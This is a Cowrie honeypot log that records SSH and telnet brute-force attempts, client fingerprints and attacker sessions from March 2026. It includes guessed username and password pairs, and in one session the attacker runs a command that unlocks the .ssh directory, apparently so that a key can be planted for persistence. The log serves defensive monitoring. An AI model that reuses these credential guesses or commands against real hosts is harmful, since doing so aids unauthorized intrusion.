{"eventid":"cowrie.session.closed","duration":"6.6","message":"Connection lost after 6.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:13:41.714689Z","src_ip":"143.244.131.38","session":"762e3bae8314","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:13:41.719425Z","src_ip":"143.244.131.38","session":"d1329a6199bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":40614,"dst_ip":"10.17.0.5","dst_port":22,"session":"55fa0c620ba8","protocol":"ssh","message":"New connection: 2.57.122.208:40614 (10.17.0.5:22) [session: 55fa0c620ba8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:13:56.688328Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:13:56.711534Z","src_ip":"2.57.122.208","session":"55fa0c620ba8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:13:56.854107Z","src_ip":"2.57.122.208","session":"55fa0c620ba8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trading","password":"123456","message":"login attempt [trading/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:13:57.325485Z","src_ip":"2.57.122.208","session":"55fa0c620ba8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:13:58.456023Z","src_ip":"2.57.122.208","session":"55fa0c620ba8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":57356,"dst_ip":"159.203.135.109","dst_port":22,"session":"1639b997063d","protocol":"ssh","message":"New connection: 195.178.110.218:57356 (159.203.135.109:22) [session: 1639b997063d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:15:38.770638Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:15:38.775789Z","src_ip":"195.178.110.218","session":"1639b997063d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:15:38.855827Z","src_ip":"195.178.110.218","session":"1639b997063d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"firedancer","password":"firedancer","message":"login attempt [firedancer/firedancer] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:15:39.094916Z","src_ip":"195.178.110.218","session":"1639b997063d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:15:40.177577Z","src_ip":"195.178.110.218","session":"1639b997063d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":55518,"dst_ip":"10.17.0.5","dst_port":22,"session":"c8b0788605b9","protocol":"ssh","message":"New connection: 92.118.39.92:55518 (10.17.0.5:22) [session: c8b0788605b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:15:47.444949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:15:47.449192Z","src_ip":"92.118.39.92","session":"c8b0788605b9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:15:47.549530Z","src_ip":"92.118.39.92","session":"c8b0788605b9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"test","message":"login attempt [uftp/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:15:47.851928Z","src_ip":"92.118.39.92","session":"c8b0788605b9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:15:48.968256Z","src_ip":"92.118.39.92","session":"c8b0788605b9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":45036,"dst_ip":"10.17.0.5","dst_port":22,"session":"b83399144b0c","protocol":"ssh","message":"New connection: 2.57.122.208:45036 (10.17.0.5:22) [session: b83399144b0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:16:11.672122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:16:11.676957Z","src_ip":"2.57.122.208","session":"b83399144b0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:16:11.775770Z","src_ip":"2.57.122.208","session":"b83399144b0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trader","password":"123456","message":"login attempt [trader/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:16:12.065299Z","src_ip":"2.57.122.208","session":"b83399144b0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:16:13.181512Z","src_ip":"2.57.122.208","session":"b83399144b0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.245.59.82","src_port":40248,"dst_ip":"159.203.135.109","dst_port":23,"session":"def562c88863","protocol":"telnet","message":"New connection: 45.245.59.82:40248 (159.203.135.109:23) [session: def562c88863]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:16:34.508430Z"}
{"eventid":"cowrie.session.closed","duration":14.443545579910278,"message":"Connection lost after 14 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:16:48.951861Z","src_ip":"45.245.59.82","session":"def562c88863","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.198.97.85","src_port":50888,"dst_ip":"159.203.135.109","dst_port":22,"session":"6450c74efce0","protocol":"ssh","message":"New connection: 85.198.97.85:50888 (159.203.135.109:22) [session: 6450c74efce0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:17:01.082603Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:17:01.088067Z","src_ip":"85.198.97.85","session":"6450c74efce0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:17:01.220476Z","src_ip":"85.198.97.85","session":"6450c74efce0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"0123456789","message":"login attempt [root/0123456789] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:17:01.790063Z","src_ip":"85.198.97.85","session":"6450c74efce0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:17:02.112777Z","src_ip":"85.198.97.85","session":"6450c74efce0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"echo 'dGVzdA==' | base64 -d 2>/dev/null","message":"CMD: echo 'dGVzdA==' | base64 -d 2>/dev/null","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:17:02.116767Z","src_ip":"85.198.97.85","session":"6450c74efce0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","size":4,"shasum":"ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ef7b1c9c4b729b7e095c20c9575fd6b72c51461556219a5d8298fcd94a26e973 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:17:02.254865Z","src_ip":"85.198.97.85","session":"6450c74efce0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:17:02.261069Z","src_ip":"85.198.97.85","session":"6450c74efce0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"221.214.181.197","src_port":41284,"dst_ip":"159.203.135.109","dst_port":23,"session":"d44d76caa138","protocol":"telnet","message":"New connection: 221.214.181.197:41284 (159.203.135.109:23) [session: d44d76caa138]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:17:09.732945Z"}
{"eventid":"cowrie.session.closed","duration":13.773772478103638,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:17:23.506642Z","src_ip":"221.214.181.197","session":"d44d76caa138","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":43946,"dst_ip":"10.17.0.5","dst_port":22,"session":"038c24975f06","protocol":"ssh","message":"New connection: 92.118.39.92:43946 (10.17.0.5:22) [session: 038c24975f06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:18:04.118826Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:18:04.124361Z","src_ip":"92.118.39.92","session":"038c24975f06","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:18:04.224681Z","src_ip":"92.118.39.92","session":"038c24975f06","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"uftp","message":"login attempt [uftp/uftp] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:18:04.528324Z","src_ip":"92.118.39.92","session":"038c24975f06","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:18:05.633842Z","src_ip":"92.118.39.92","session":"038c24975f06","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"209.97.161.72","src_port":35160,"dst_ip":"159.203.135.109","dst_port":22,"session":"518b2ff200ca","protocol":"ssh","message":"New connection: 209.97.161.72:35160 (159.203.135.109:22) [session: 518b2ff200ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:18:23.600996Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:18:23.605707Z","src_ip":"209.97.161.72","session":"518b2ff200ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:18:23.864537Z","src_ip":"209.97.161.72","session":"518b2ff200ca","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"Adm@2024","message":"login attempt [root/Adm@2024] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:18:24.915252Z","src_ip":"209.97.161.72","session":"518b2ff200ca","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:18:25.452636Z","src_ip":"209.97.161.72","session":"518b2ff200ca","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:18:25.455502Z","src_ip":"209.97.161.72","session":"518b2ff200ca","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:18:25.458929Z","src_ip":"209.97.161.72","session":"518b2ff200ca","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:18:25.715705Z","src_ip":"209.97.161.72","session":"518b2ff200ca","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:18:26.257383Z","src_ip":"209.97.161.72","session":"518b2ff200ca","protocol":"ssh"}
